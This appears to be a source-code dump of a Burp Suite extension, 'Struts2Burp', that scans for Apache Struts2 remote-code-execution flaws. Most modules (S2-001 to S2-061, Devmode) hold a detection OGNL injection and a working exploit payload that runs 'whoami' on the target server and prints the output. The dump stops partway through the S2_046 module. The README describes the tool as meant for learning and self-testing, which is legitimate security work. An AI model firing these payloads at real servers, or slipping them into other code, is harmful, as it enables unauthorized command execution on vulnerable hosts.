├── .gitignore
├── src
└── main
│ └── java
│ ├── burp
│ ├── Util.java
│ ├── LogEntry.java
│ ├── HttpLogTable.java
│ ├── CustomScanIssue.java
│ ├── HttpLogTableModel.java
│ ├── BurpExtender.java
│ ├── IModule.java
│ └── GUI.java
│ └── module
│ ├── Devmode.java
│ ├── S2_013_014.java
│ ├── S2_001.java
│ ├── S2_032.java
│ ├── S2_016.java
│ ├── S2_007.java
│ ├── S2_012.java
│ ├── S2_015.java
│ ├── S2_057.java
│ ├── S2_045.java
│ ├── S2_061.java
│ ├── S2_046.java
│ ├── S2_003_005.java
│ ├── S2_059.java
│ └── S2_009.java
├── README.md
└── pom.xml
/.gitignore:
--------------------------------------------------------------------------------
1 | target
2 | .idea
3 |
4 | *.iml
--------------------------------------------------------------------------------
/src/main/java/burp/Util.java:
--------------------------------------------------------------------------------
1 | package burp;
2 |
3 | import java.util.Random;
4 |
5 | public class Util {
6 | public static String getRandomString(int length) {
7 | String str = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";
8 | Random random = new Random();
9 | StringBuffer sb = new StringBuffer();
10 |
11 | for(int i = 0; i < length; ++i) {
12 | int number = random.nextInt(62);
13 | sb.append(str.charAt(number));
14 | }
15 |
16 | return sb.toString();
17 | }
18 | }
19 |
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # Struts2Burp
2 | 一款检测Struts2 RCE漏洞的burp被动扫描插件,仅检测url后缀为`.do`以及`.action`的数据包
3 |
4 | **本项目旨在学习以及自我项目检测,请勿用于非法用途!**
5 | # 使用
6 | ```
7 | git clone https://github.com/x1a0t/Struts2Burp
8 | cd Struts2Burp
9 | mvn clean package -DskipTests
10 | ```
11 | 将目录`target`下生成的jar包导入burp即可
12 |
13 | GUI只是个流量列表,同时可简单生成存在的漏洞的exp,在列表中漏洞所在列右键
14 |
15 | 无过多需求可直接采用原版,切换到mini分支即可
16 | # 检测范围
17 | * S2-001
18 | * S2-003/S2-005
19 | * S2-007
20 | * S2-009
21 | * S2-012
22 | * S2-013/S2-014
23 | * S2-015
24 | * S2-016
25 | * S2-032
26 | * S2-045
27 | * S2-046
28 | * S2-057
29 | * S2-059
30 | * S2-061
31 | * Devmode
32 |
--------------------------------------------------------------------------------
/src/main/java/burp/LogEntry.java:
--------------------------------------------------------------------------------
1 | package burp;
2 |
3 | import java.net.URL;
4 |
5 | public class LogEntry {
6 | final IHttpRequestResponse requestResponse;
7 | final URL url;
8 | final String method;
9 | final String status;
10 | final String payload;
11 | final IModule vulClass;
12 |
13 | public LogEntry(URL url, IHttpRequestResponse requestResponse, String payload, IModule vulClass) {
14 | this.url = url;
15 | this.requestResponse = requestResponse;
16 | short statusCode = BurpExtender.helpers.analyzeResponse(requestResponse.getResponse()).getStatusCode();
17 | this.method = BurpExtender.helpers.analyzeRequest(requestResponse.getRequest()).getMethod();
18 | this.status = Short.toString(statusCode);
19 | this.payload = payload;
20 | this.vulClass = vulClass;
21 | }
22 | }
--------------------------------------------------------------------------------
/src/main/java/burp/HttpLogTable.java:
--------------------------------------------------------------------------------
1 | package burp;
2 |
3 | import javax.swing.*;
4 | import javax.swing.table.TableModel;
5 |
6 | public class HttpLogTable extends JTable {
7 | private final HttpLogTableModel httpLogTableModel;
8 |
9 | public HttpLogTableModel getHttpLogTableModel() {
10 | return httpLogTableModel;
11 | }
12 |
13 |
14 | public HttpLogTable(TableModel tableModel) {
15 | super(tableModel);
16 | this.httpLogTableModel = (HttpLogTableModel) tableModel;
17 | }
18 |
19 | @Override
20 | public void changeSelection(int row, int col, boolean toggle, boolean extend) {
21 | super.changeSelection(row, col, toggle, extend);
22 | // show the log entry for the selected row
23 | LogEntry logEntry = BurpExtender.log.get(row);
24 | GUI.requestViewer.setMessage(logEntry.requestResponse.getRequest(), true);
25 | GUI.responseViewer.setMessage(logEntry.requestResponse.getResponse(), false);
26 | GUI.currentlyDisplayedItem = logEntry.requestResponse;
27 | }
28 | }
--------------------------------------------------------------------------------
/src/main/java/burp/CustomScanIssue.java:
--------------------------------------------------------------------------------
1 | package burp;
2 |
3 | import java.net.URL;
4 |
5 | public class CustomScanIssue implements IScanIssue
6 | {
7 | public IHttpService httpService;
8 | public URL url;
9 | public IHttpRequestResponse[] httpMessages;
10 | public String name;
11 | public String detail;
12 | public String severity;
13 |
14 | public CustomScanIssue(String name, URL url, IHttpService httpService, IHttpRequestResponse[] httpMessages, String detail, String severity) {
15 | this.name = name;
16 | this.url = url;
17 | this.httpService = httpService;
18 | this.httpMessages = httpMessages;
19 | this.detail = detail;
20 | this.severity = severity;
21 | }
22 |
23 | public URL getUrl() {
24 | return url;
25 | }
26 |
27 | public String getIssueName() {
28 | return name;
29 | }
30 |
31 | public int getIssueType() {
32 | return 0;
33 | }
34 |
35 | public String getSeverity() {
36 | return severity;
37 | }
38 |
39 | public String getConfidence() {
40 | return "Certain";
41 | }
42 |
43 | public String getIssueBackground() {
44 | return null;
45 | }
46 |
47 | public String getRemediationBackground() {
48 | return null;
49 | }
50 |
51 | public String getIssueDetail() {
52 | return detail;
53 | }
54 |
55 | public String getRemediationDetail() {
56 | return null;
57 | }
58 |
59 | public IHttpRequestResponse[] getHttpMessages() {
60 | return httpMessages;
61 | }
62 |
63 | public IHttpService getHttpService() {
64 | return httpService;
65 | }
66 |
67 | }
68 |
--------------------------------------------------------------------------------
/src/main/java/burp/HttpLogTableModel.java:
--------------------------------------------------------------------------------
1 | package burp;
2 |
3 | import javax.swing.table.AbstractTableModel;
4 |
5 | public class HttpLogTableModel extends AbstractTableModel {
6 | public int getRowCount() {
7 | return BurpExtender.log.size();
8 | }
9 |
10 | public int getColumnCount() {
11 | return 5;
12 | }
13 |
14 | @Override
15 | public String getColumnName(int columnIndex) {
16 |
17 | switch (columnIndex)
18 | {
19 | case 0:
20 | return "URL";
21 | case 1:
22 | return "Method";
23 | case 2:
24 | return "Status";
25 | case 3:
26 | return "Payload";
27 | case 4:
28 | return "IsVul";
29 | default:
30 | return "";
31 | }
32 | }
33 |
34 | @Override
35 | public Class> getColumnClass(int columnIndex)
36 | {
37 | return String.class;
38 | }
39 |
40 |
41 | public Object getValueAt(int rowIndex, int columnIndex) {
42 | LogEntry logEntry = BurpExtender.log.get(rowIndex);
43 |
44 | switch (columnIndex) {
45 | case 0:
46 | return logEntry.url.toString();
47 | case 1:
48 | return logEntry.method;
49 | case 2:
50 | return logEntry.status;
51 | case 3:
52 | return logEntry.payload;
53 | case 4:
54 | if (logEntry.vulClass != null) {
55 | return "True";
56 | } else {
57 | return "";
58 | }
59 | default:
60 | return "";
61 | }
62 | }
63 | }
--------------------------------------------------------------------------------
/pom.xml:
--------------------------------------------------------------------------------
1 |
2 |
5 | 4.0.0
6 |
7 | org.example
8 | Struts2Burp
9 | 1.0-SNAPSHOT
10 |
11 |
12 |
13 | org.apache.maven.plugins
14 | maven-compiler-plugin
15 |
16 | 8
17 | 8
18 |
19 |
20 |
21 |
22 |
23 |
24 |
25 | net.portswigger.burp.extender
26 | burp-extender-api
27 | 2.1
28 |
29 |
30 |
31 |
32 |
33 |
34 |
35 |
36 |
37 | com.intellij
38 | forms_rt
39 | 7.0.3
40 |
41 |
42 |
43 |
44 |
45 |
--------------------------------------------------------------------------------
/src/main/java/module/Devmode.java:
--------------------------------------------------------------------------------
1 | package module;
2 |
3 | import burp.IModule;
4 | import burp.IParameter;
5 | import burp.IScanIssue;
6 |
7 | import java.net.URLEncoder;
8 |
9 | public class Devmode extends IModule {
10 | public Devmode() {
11 | //本地测试中发现cookie会对S2_008、S2_019的payload回显有影响,这里采用最简单的拼接验证
12 | poc = "debug=command&expression='"+injectMark[0]+"'%2b'"+injectMark[1]+"'";
13 |
14 | exp =
15 | "#a=(new java.lang.ProcessBuilder('whoami')).start()," +
16 | "#b=#a.getInputStream()," +
17 | "#c=new java.io.InputStreamReader(#b)," +
18 | "#d=new java.io.BufferedReader(#c)," +
19 | "#e=new char[50]," +
20 | "#d.read(#e)," +
21 | "#out=#context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse').getWriter()," +
22 | "#out.print(new java.lang.String(#e))," +
23 | "#out.flush()," +
24 | "#out.close()";
25 | exp = "debug=command&expression=" + URLEncoder.encode(exp);
26 | }
27 |
28 | @Override
29 | public IScanIssue start() {
30 | byte in = (byte) 0;
31 | if (requestInfo.getMethod().equals("POST")) {
32 | in = (byte) 1;
33 | }
34 |
35 | String[] parameters = poc.split("&");
36 | for (String parameter: parameters) {
37 | String[] tmp = parameter.split("=");
38 | String parameterName = tmp[0];
39 | String parameterValue = tmp[1];
40 | IParameter newParameter = helpers.buildParameter(parameterName, parameterValue, in);
41 | request = helpers.updateParameter(request, newParameter);
42 | }
43 | if (check()) {
44 | this.detail = exp;
45 | return creatCustomScanIssue();
46 | }
47 | return super.start();
48 | }
49 | }
50 |
--------------------------------------------------------------------------------
/src/main/java/module/S2_013_014.java:
--------------------------------------------------------------------------------
1 | package module;
2 |
3 | import burp.*;
4 | import burp.Util;
5 |
6 | import java.net.URLEncoder;
7 | import java.util.ArrayList;
8 | import java.util.List;
9 |
10 | public class S2_013_014 extends IModule {
11 | public S2_013_014() {
12 | poc =
13 | "${" +
14 | "#_memberAccess[\"allowStaticMethodAccess\"]=true," +
15 | "#out=@org.apache.struts2.ServletActionContext@getResponse().getWriter()," +
16 | "#out.print(\"" + injectMark[0] + "\")," +
17 | "#out.print(\"" + injectMark[1] + "\")," +
18 | "#out.flush()," +
19 | "#out.close()" +
20 | "}";
21 | poc = URLEncoder.encode(poc);
22 |
23 | exp =
24 | "${" +
25 | "#_memberAccess[\"allowStaticMethodAccess\"]=true," +
26 | "#a=@java.lang.Runtime@getRuntime().exec('whoami').getInputStream()," +
27 | "#b=new java.io.InputStreamReader(#a)," +
28 | "#c=new java.io.BufferedReader(#b)," +
29 | "#d=new char[50000]," +
30 | "#c.read(#d)," +
31 | "#out=@org.apache.struts2.ServletActionContext@getResponse().getWriter()," +
32 | "#out.println(new java.lang.String(#d))," +
33 | "#out.close()" +
34 | "}";
35 | exp = URLEncoder.encode(exp);
36 | }
37 |
38 | @Override
39 | public IScanIssue start() {
40 | List iParameters = requestInfo.getParameters();
41 | byte in = (byte) 0;
42 | if (requestInfo.getMethod().equals("POST")) {
43 | in = (byte) 1;
44 | }
45 | IParameter newParameter = helpers.buildParameter(Util.getRandomString(6), poc, in);
46 | request = helpers.updateParameter(iHttpRequestResponse.getRequest(), newParameter);
47 |
48 | if (check()) {
49 | this.detail = exp;
50 | return creatCustomScanIssue();
51 | }
52 | return null;
53 | }
54 |
55 | }
56 |
--------------------------------------------------------------------------------
/src/main/java/module/S2_001.java:
--------------------------------------------------------------------------------
1 | package module;
2 |
3 | import burp.*;
4 |
5 | import java.net.URLEncoder;
6 | import java.util.List;
7 |
8 | public class S2_001 extends IModule {
9 | public S2_001(){
10 | poc =
11 | "%{" +
12 | "#f=#context.get(\"com.opensymphony.xwork2.dispatcher.HttpServletResponse\")," +
13 | "#f.getWriter().print(\"" + injectMark[0] + "\")," +
14 | "#f.getWriter().print(\"" + injectMark[1] + "\")," +
15 | "#f.getWriter().flush()," +
16 | "#f.getWriter().close()" +
17 | "}";
18 | poc = URLEncoder.encode(poc);
19 |
20 | exp =
21 | "%{" +
22 | "#a=(new java.lang.ProcessBuilder(\"whoami\")).redirectErrorStream(true).start()," +
23 | "#b=#a.getInputStream()," +
24 | "#c=new java.io.InputStreamReader(#b)," +
25 | "#d=new java.io.BufferedReader(#c)," +
26 | "#e=new char[50000]," +
27 | "#d.read(#e)," +
28 | "#f=#context.get(\"com.opensymphony.xwork2.dispatcher.HttpServletResponse\")," +
29 | "#f.getWriter().print(new java.lang.String(#e))," +
30 | "#f.getWriter().flush()," +
31 | "#f.getWriter().close()}";
32 | exp = URLEncoder.encode(exp);
33 | }
34 |
35 | @Override
36 | public IScanIssue start() {
37 | List parameters = requestInfo.getParameters();
38 | for (IParameter parameter: parameters) {
39 | if (parameter.getType() == (byte) 0 || parameter.getType() == (byte) 1) {
40 | IParameter newParameter = helpers.buildParameter(parameter.getName(), poc, parameter.getType());
41 | request = helpers.updateParameter(iHttpRequestResponse.getRequest(), newParameter);
42 | if (check()) {
43 | this.detail = exp;
44 | return creatCustomScanIssue();
45 | }
46 | }
47 | }
48 | return null;
49 | }
50 |
51 | }
52 |
--------------------------------------------------------------------------------
/src/main/java/module/S2_032.java:
--------------------------------------------------------------------------------
1 | package module;
2 |
3 | import burp.*;
4 |
5 | import java.net.URLEncoder;
6 | import java.util.Arrays;
7 |
8 | public class S2_032 extends IModule {
9 | public S2_032() {
10 | poc =
11 | "method:" +
12 | "#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS," +
13 | "#w=@org.apache.struts2.ServletActionContext@getResponse().getWriter()," +
14 | "#w.print(new java.lang.String(new byte[]{" + Arrays.toString(injectMark[0].getBytes()).replace("[", "").replace("]", "") + "}))," +
15 | "#w.print(new java.lang.String(new byte[]{" + Arrays.toString(injectMark[1].getBytes()).replace("[", "").replace("]", "") + "}))," +
16 | "#w.flush()," +
17 | "#w.close()," +
18 | "1?#xx:#request.toString";
19 | poc = URLEncoder.encode(poc);
20 |
21 | exp =
22 | "method:" +
23 | "#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS," +
24 | "#res=@org.apache.struts2.ServletActionContext@getResponse()," +
25 | "#res.setCharacterEncoding(#parameters.encoding[0])," +
26 | "#w=#res.getWriter()," +
27 | "#s=new java.util.Scanner(@java.lang.Runtime@getRuntime().exec(#parameters.cmd[0]).getInputStream()).useDelimiter(#parameters.pp[0])," +
28 | "#str=#s.hasNext()?#s.next():new java.lang.String(new byte[]{32})," +
29 | "#w.print(#str)," +
30 | "#w.close()," +
31 | "1?#xx:#request.toString";
32 | exp =
33 | "pp=%5c%5ca" +
34 | "&ppp=%20" +
35 | "&encoding=UTF-8" +
36 | "&cmd=whoami&" +
37 | URLEncoder.encode(exp);
38 |
39 | }
40 |
41 |
42 | @Override
43 | public IScanIssue start() {
44 | byte in = (byte) 0;
45 | if (requestInfo.getMethod().equals("POST")) {
46 | in = (byte) 1;
47 | }
48 | IParameter newParameter = helpers.buildParameter(poc, "1", in);
49 | request = helpers.updateParameter(request, newParameter);
50 |
51 | if (check()) {
52 | this.detail = exp;
53 | return creatCustomScanIssue();
54 | }
55 | return null;
56 | }
57 | }
58 |
--------------------------------------------------------------------------------
/src/main/java/module/S2_016.java:
--------------------------------------------------------------------------------
1 | package module;
2 |
3 | import burp.*;
4 |
5 | import java.net.URLEncoder;
6 |
7 | public class S2_016 extends IModule {
8 | public S2_016() {
9 | // TODO
10 | //redirectAction:和action: 也可触发漏洞
11 | poc =
12 | "redirect:${" +
13 | "#context[\"xwork.MethodAccessor.denyMethodExecution\"]=false," +
14 | "#f=#_memberAccess.getClass().getDeclaredField(\"allowStaticMethodAccess\")," +
15 | "#f.setAccessible(true)," +
16 | "#f.set(#_memberAccess,true),"+
17 | "#genxor=#context.get(\"com.opensymphony.xwork2.dispatcher.HttpServletResponse\").getWriter()," +
18 | "#genxor.print(\"" + injectMark[0] + "\")," +
19 | "#genxor.print(\"" + injectMark[1] + "\")," +
20 | "#genxor.flush()," +
21 | "#genxor.close()" +
22 | "}";
23 | poc = URLEncoder.encode(poc);
24 |
25 | exp =
26 | "redirect:${" +
27 | "#context[\"xwork.MethodAccessor.denyMethodExecution\"]=false," +
28 | "#f=#_memberAccess.getClass().getDeclaredField(\"allowStaticMethodAccess\")," +
29 | "#f.setAccessible(true)," +
30 | "#f.set(#_memberAccess,true)," +
31 | "#a=@java.lang.Runtime@getRuntime().exec(\"whoami\").getInputStream()," +
32 | "#b=new java.io.InputStreamReader(#a)," +
33 | "#c=new java.io.BufferedReader(#b)," +
34 | "#d=new char[5000]," +
35 | "#c.read(#d)," +
36 | "#genxor=#context.get(\"com.opensymphony.xwork2.dispatcher.HttpServletResponse\").getWriter()," +
37 | "#genxor.print(#d)," +
38 | "#genxor.flush()," +
39 | "#genxor.close()" +
40 | "}";
41 | exp = URLEncoder.encode(exp);
42 | }
43 |
44 | @Override
45 | public IScanIssue start() {
46 | byte in = (byte) 0;
47 | if (requestInfo.getMethod().equals("POST")) {
48 | in = (byte) 1;
49 | }
50 | IParameter newParameter = helpers.buildParameter(poc, "1", in);
51 | request = helpers.updateParameter(request, newParameter);
52 | if (check()) {
53 | this.detail = exp;
54 | return creatCustomScanIssue();
55 | }
56 | return null;
57 | }
58 | }
59 |
--------------------------------------------------------------------------------
/src/main/java/module/S2_007.java:
--------------------------------------------------------------------------------
1 | package module;
2 |
3 | import burp.*;
4 |
5 | import java.net.URLEncoder;
6 | import java.util.List;
7 |
8 | public class S2_007 extends IModule {
9 | public S2_007() {
10 | poc =
11 | "'+(" +
12 | "#_memberAccess.allowStaticMethodAccess=true," +
13 | "#context[\"xwork.MethodAccessor.denyMethodExecution\"]=false," +
14 | "#f=#context.get(\"com.opensymphony.xwork2.dispatcher.HttpServletResponse\")," +
15 | "#f.getWriter().print(\"" + injectMark[0] + "\")," +
16 | "#f.getWriter().print(\"" + injectMark[1] + "\")," +
17 | "#f.getWriter().flush()," +
18 | "#f.getWriter().close()" +
19 | ")+'";
20 | poc = URLEncoder.encode(poc);
21 |
22 | exp =
23 | "'+(" +
24 | "#_memberAccess.allowStaticMethodAccess=true," +
25 | "#context[\"xwork.MethodAccessor.denyMethodExecution\"]=false," +
26 | "#a=(new java.lang.ProcessBuilder(\"whoami\")).redirectErrorStream(true).start()," +
27 | "#b=#a.getInputStream()," +
28 | "#c=new java.io.InputStreamReader(#b)," +
29 | "#d=new java.io.BufferedReader(#c)," +
30 | "#e=new char[50000]," +
31 | "#d.read(#e)," +
32 | "#f=#context.get(\"com.opensymphony.xwork2.dispatcher.HttpServletResponse\")," +
33 | "#f.getWriter().print(new java.lang.String(#e))," +
34 | "#f.getWriter().flush()," +
35 | "#f.getWriter().close()" +
36 | ")+'";
37 | exp = URLEncoder.encode(exp);
38 | }
39 |
40 | @Override
41 | public IScanIssue start() {
42 | List parameters = requestInfo.getParameters();
43 | for (IParameter parameter: parameters) {
44 | if (parameter.getType() == (byte) 0 || parameter.getType() == (byte) 1) {
45 | IParameter newParameter = helpers.buildParameter(parameter.getName(), poc, parameter.getType());
46 | request = helpers.updateParameter(iHttpRequestResponse.getRequest(), newParameter);
47 | if (check()) {
48 | this.detail = exp;
49 | return creatCustomScanIssue();
50 | }
51 | }
52 | }
53 | return null;
54 | }
55 | }
56 |
--------------------------------------------------------------------------------
/src/main/java/module/S2_012.java:
--------------------------------------------------------------------------------
1 | package module;
2 |
3 | import burp.*;
4 |
5 | import java.net.URLEncoder;
6 | import java.util.List;
7 |
8 | public class S2_012 extends IModule {
9 | public S2_012() {
10 | poc =
11 | "%{" +
12 | "#f=#context.get(\"com.opensymphony.xwork2.dispatcher.HttpServletResponse\")," +
13 | "#f.getWriter().print(\"" + injectMark[0] + "\")," +
14 | "#f.getWriter().print(\"" + injectMark[1] + "\")," +
15 | "#f.getWriter().flush()," +
16 | "#f.getWriter().close()" +
17 | "}";
18 | poc = URLEncoder.encode(poc);
19 |
20 | exp =
21 | "%{" +
22 | "#a=(new java.lang.ProcessBuilder(\"whoami\")).redirectErrorStream(true).start()," +
23 | "#b=#a.getInputStream()," +
24 | "#c=new java.io.InputStreamReader(#b)," +
25 | "#d=new java.io.BufferedReader(#c)," +
26 | "#e=new char[50]," +
27 | "#d.read(#e)," +
28 | "#f=#context.get(\"com.opensymphony.xwork2.dispatcher.HttpServletResponse\")," +
29 | "#f.getWriter().println(new java.lang.String(#e))," +
30 | "#f.getWriter().flush()," +
31 | "#f.getWriter().close()" +
32 | "}";
33 | exp = URLEncoder.encode(exp);
34 | }
35 |
36 | @Override
37 | public IScanIssue start() {
38 | byte[] response = iHttpRequestResponse.getResponse();
39 | IResponseInfo iResponseInfo = helpers.analyzeResponse(response);
40 | short statusCode = iResponseInfo.getStatusCode();
41 |
42 | if (statusCode == 302) {
43 | List parameters = requestInfo.getParameters();
44 | for (IParameter parameter: parameters) {
45 | if (parameter.getType() == (byte) 0 || parameter.getType() == (byte) 1) {
46 | IParameter newParameter = helpers.buildParameter(parameter.getName(), poc, parameter.getType());
47 | request = helpers.updateParameter(iHttpRequestResponse.getRequest(), newParameter);
48 | if (check()) {
49 | this.detail = exp;
50 | return creatCustomScanIssue();
51 | }
52 | }
53 | }
54 | }
55 | return null;
56 | }
57 | }
58 |
--------------------------------------------------------------------------------
/src/main/java/module/S2_015.java:
--------------------------------------------------------------------------------
1 | package module;
2 |
3 | import burp.*;
4 |
5 | import java.io.PrintWriter;
6 | import java.net.URL;
7 | import java.net.URLEncoder;
8 |
9 | public class S2_015 extends IModule {
10 | public S2_015() {
11 | poc =
12 | "${" +
13 | "#context['xwork.MethodAccessor.denyMethodExecution']=false," +
14 | "#m=#_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess')," +
15 | "#m.setAccessible(true)," +
16 | "#m.set(#_memberAccess,true)," +
17 | "#a='" + injectMark[0] + "'," +
18 | "#b='" + injectMark[1] + "'," +
19 | "#q=#a+#b," +
20 | "#q" +
21 | "}";
22 | poc = URLEncoder.encode(poc);
23 |
24 | exp =
25 | "${" +
26 | "#context['xwork.MethodAccessor.denyMethodExecution']=false," +
27 | "#m=#_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess')," +
28 | "#m.setAccessible(true)," +
29 | "#m.set(#_memberAccess,true)," +
30 | "#cmd='whoami'," +
31 | "#q=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(#cmd).getInputStream())," +
32 | "#q" +
33 | "}";
34 | exp = URLEncoder.encode(exp);
35 | }
36 |
37 | @Override
38 | public IScanIssue start() {
39 | PrintWriter stderr = new PrintWriter(callbacks.getStderr(), true);
40 | String url = requestInfo.getUrl().toString();
41 | String[] tmp = url.split("/");
42 | String fileName = tmp[tmp.length - 1];
43 |
44 | String[] extensions = new String[]{".action", ".do"};
45 | for (String ext: extensions) {
46 | if (fileName.endsWith(ext)) {
47 | String newFileName = poc + ext;
48 | String newUrl = url.replace(fileName, newFileName);
49 | try {
50 | request = helpers.buildHttpRequest(new URL(newUrl));
51 | if (check()) {
52 | this.detail = url.replace(fileName, exp+ext);
53 | return creatCustomScanIssue();
54 | }
55 | } catch (Exception e) {
56 | stderr.println(e.getMessage());
57 | }
58 | }
59 | }
60 |
61 | return null;
62 | }
63 | }
64 |
--------------------------------------------------------------------------------
/src/main/java/module/S2_057.java:
--------------------------------------------------------------------------------
1 | package module;
2 |
3 | import burp.IModule;
4 | import burp.IResponseInfo;
5 | import burp.IScanIssue;
6 |
7 | import java.net.URLEncoder;
8 | import java.util.Arrays;
9 | import java.util.List;
10 |
11 | public class S2_057 extends IModule {
12 | public S2_057() {
13 | poc =
14 | "${'"+injectMark[0]+"'+'"+injectMark[1]+"'}";
15 | poc = URLEncoder.encode(poc);
16 |
17 | exp =
18 | "${" +
19 | "(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)" +
20 | ".(#ct=#request['struts.valueStack'].context)" +
21 | ".(#cr=#ct['com.opensymphony.xwork2.ActionContext.container'])" +
22 | ".(#ou=#cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))" +
23 | ".(#ou.getExcludedPackageNames().clear())" +
24 | ".(#ou.getExcludedClasses().clear())" +
25 | ".(#ct.setMemberAccess(#dm))" +
26 | ".(#a=@java.lang.Runtime@getRuntime().exec('whoami'))" +
27 | ".(@org.apache.commons.io.IOUtils@toString(#a.getInputStream()))" +
28 | "}";
29 | exp = URLEncoder.encode(exp);
30 | }
31 |
32 | @Override
33 | public IScanIssue start() {
34 | byte[] response = iHttpRequestResponse.getResponse();
35 | IResponseInfo iResponseInfo = helpers.analyzeResponse(response);
36 | short statusCode = iResponseInfo.getStatusCode();
37 | //仅对跳转页面进行判断
38 | if (statusCode == 302) {
39 | List headers = requestInfo.getHeaders();
40 | int bodyOffset = requestInfo.getBodyOffset();
41 | byte[] requestBody = Arrays.copyOfRange(request, bodyOffset, request.length);
42 | String path = requestInfo.getUrl().getPath();
43 | String[] strings = path.split("/");
44 | String newPath = path.replace(strings[strings.length - 1], poc + "/" + strings[strings.length - 1]);
45 |
46 | headers.set(0, headers.get(0).replace(path, newPath));
47 | try {
48 | request = helpers.buildHttpMessage(headers, requestBody);
49 | if (check()) {
50 | this.detail = exp;
51 | return creatCustomScanIssue();
52 | }
53 | } catch (Exception e) {
54 | callbacks.printError(e.getMessage());
55 | }
56 | }
57 | return super.start();
58 | }
59 | }
60 |
--------------------------------------------------------------------------------
/src/main/java/module/S2_045.java:
--------------------------------------------------------------------------------
1 | package module;
2 |
3 | import burp.*;
4 |
5 | import java.util.Arrays;
6 | import java.util.List;
7 |
8 | public class S2_045 extends IModule {
9 | public S2_045() {
10 | poc =
11 | "%{" +
12 | "#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('xxx','"+injectMark[0]+"'+'"+injectMark[1]+"')" +
13 | "}.multipart/form-data";
14 |
15 | exp =
16 | "%{" +
17 | "(#nike='multipart/form-data')" +
18 | ".(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)" +
19 | ".(" +
20 | "#_memberAccess?(#_memberAccess=#dm):" +
21 | "(" +
22 | "(#container=#context['com.opensymphony.xwork2.ActionContext.container'])" +
23 | ".(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))" +
24 | ".(#ognlUtil.getExcludedPackageNames().clear())" +
25 | ".(#ognlUtil.getExcludedClasses().clear())" +
26 | ".(#context.setMemberAccess(#dm))" +
27 | ")" +
28 | ")" +
29 | ".(#cmd='whoami')" +
30 | ".(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win')))" +
31 | ".(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd}))" +
32 | ".(#p=new java.lang.ProcessBuilder(#cmds))" +
33 | ".(#p.redirectErrorStream(true))" +
34 | ".(#process=#p.start())" +
35 | ".(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream()))" +
36 | ".(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros))" +
37 | ".(#ros.flush())" +
38 | "}";
39 | }
40 |
41 | @Override
42 | public IScanIssue start() {
43 | int bodyOffset = requestInfo.getBodyOffset();
44 | byte[] requestBody = Arrays.copyOfRange(request, bodyOffset, request.length);
45 |
46 | List headers = requestInfo.getHeaders();
47 | for (String header: headers) {
48 | if (header.contains("Content-Type")) {
49 | headers.remove(header);
50 | break;
51 | }
52 | }
53 |
54 | headers.add("Content-Type: " + poc);
55 | request = helpers.buildHttpMessage(headers, requestBody);
56 | if (check()) {
57 | this.detail = exp;
58 | return creatCustomScanIssue();
59 | }
60 |
61 | return null;
62 | }
63 | }
64 |
--------------------------------------------------------------------------------
/src/main/java/module/S2_061.java:
--------------------------------------------------------------------------------
1 | package module;
2 |
3 | import burp.IModule;
4 | import burp.IParameter;
5 | import burp.IScanIssue;
6 |
7 | import java.net.URLEncoder;
8 | import java.util.List;
9 |
10 | public class S2_061 extends IModule {
11 | public S2_061() {
12 | // https://mp.weixin.qq.com/s/RD2HTMn-jFxDIs4-X95u6g
13 | // https://mp.weixin.qq.com/s?__biz=MzU2NDgzOTQzNw==&mid=2247486019&idx=1&sn=d80d2f443bfd0219c9a8ed7ae5fb8887
14 | // only work in Tomcat
15 | poc =
16 | "%{" +
17 | "(#im=#application.get('org.apache.tomcat.InstanceManager'))" +
18 | ".(#map=#im.newInstance('org.apache.commons.collections.BeanMap'))" +
19 | ".(#map.setBean(#request.get('struts.valueStack')))" +
20 | ".(#f=#map.get('context')['com.opensymphony.xwork2.dispatcher.HttpServletResponse'])" +
21 | ".(#f.addHeader('poc','"+injectMark[0]+"'+'"+injectMark[1]+"'))" +
22 | "}";
23 | poc = URLEncoder.encode(poc);
24 |
25 | exp =
26 | "%{" +
27 | "(#im=#application.get('org.apache.tomcat.InstanceManager'))" +
28 | ".(#map=#im.newInstance('org.apache.commons.collections.BeanMap'))" +
29 | ".(#map.setBean(#request.get('struts.valueStack')))" +
30 | ".(#ct=#map.get('context'))" +
31 | ".(#map.setBean(#ct))" +
32 | ".(#map.setBean(#map.get('memberAccess')))" +
33 | ".(#map.put('excludedPackageNames',#im.newInstance('java.util.HashSet')))" +
34 | ".(#map.put('excludedClasses',#im.newInstance('java.util.HashSet')))" +
35 | ".(#r=#im.newInstance('freemarker.template.utility.Execute').exec({'whoami'}))" +
36 | ".(#f=#ct['com.opensymphony.xwork2.dispatcher.HttpServletResponse'])" +
37 | ".(#f.getWriter().print(#r))" +
38 | ".(#f.getWriter().flush())" +
39 | ".(#f.getWriter().close())" +
40 | "}";
41 | exp = URLEncoder.encode(exp);
42 | }
43 |
44 | @Override
45 | public IScanIssue start() {
46 | List parameters = requestInfo.getParameters();
47 | for (IParameter parameter: parameters) {
48 | if (parameter.getType() == (byte) 0 || parameter.getType() == (byte) 1) {
49 | IParameter newParameter = helpers.buildParameter(parameter.getName(), poc, parameter.getType());
50 | request = helpers.updateParameter(iHttpRequestResponse.getRequest(), newParameter);
51 | if (check()) {
52 | this.detail = exp;
53 | return creatCustomScanIssue();
54 | }
55 | }
56 | }
57 | return super.start();
58 | }
59 | }
60 |
--------------------------------------------------------------------------------
/src/main/java/module/S2_046.java:
--------------------------------------------------------------------------------
1 | package module;
2 |
3 | import burp.*;
4 |
5 | import java.util.Collections;
6 | import java.util.List;
7 |
8 | public class S2_046 extends IModule {
